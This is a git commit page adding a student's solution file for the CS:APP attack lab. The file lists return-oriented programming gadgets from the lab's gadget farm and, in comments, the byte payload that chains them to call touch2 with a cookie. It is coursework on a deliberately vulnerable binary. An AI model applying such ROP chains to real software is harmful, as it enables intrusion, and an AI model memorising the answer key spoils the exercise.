summaryrefslogtreecommitdiff
path: root/labs/attacklab/solution/farm.yaml
diff options
context:
space:
mode:
authorMike Vink <mike@pionative.com>2024-07-09 09:06:58 +0200
committerMike Vink <mike@pionative.com>2024-07-09 09:06:58 +0200
commit7ae6aa6a64f3f697edb90bb573862bf31dd14e69 (patch)
treee80f43394fd5814e30f98a7faa189f8f49424681 /labs/attacklab/solution/farm.yaml
parent8092f4c334db547ced59d6f439b558dad35e1ab2 (diff)
chapter 3: reading excercises + attacklab
Diffstat (limited to 'labs/attacklab/solution/farm.yaml')
-rw-r--r--labs/attacklab/solution/farm.yaml35
1 files changed, 35 insertions, 0 deletions
diff --git a/labs/attacklab/solution/farm.yaml b/labs/attacklab/solution/farm.yaml
new file mode 100644
index 0000000..d425028
--- /dev/null
+++ b/labs/attacklab/solution/farm.yaml
@@ -0,0 +1,35 @@
+getval_142:
+ 3: |
+ nop
+ nop
+ ret
+
+addval_273:
+ 2: |
+ movq %rax, %rdi
+ ret
+ 3: |
+ movl %eax, %edi
+ ret
+
+addval_219:
+ 4: |
+ popq %rax
+ nop
+ ret
+
+# 00 00 00 00 00 40 17 ec // return address: call touch2
+# 00 00 00 00 00 40 19 a2 // return address: call addval_273+2
+# 00 00 00 00 a8 dc 61 55 // cookie: popped into rax
+# 00 00 00 00 00 40 19 ab // return address: call addval_219+4
+# ef be ad de ef be ad de // rsp - 8
+# ef be ad de ef be ad de // rsp - 16
+# ef be ad de ef be ad de // rsp - 24
+# ef be ad de ef be ad de // rsp - 32
+# ef be ad de ef be ad de // rsp - 40
+
+setval_237:
+
+setval_424:
+
+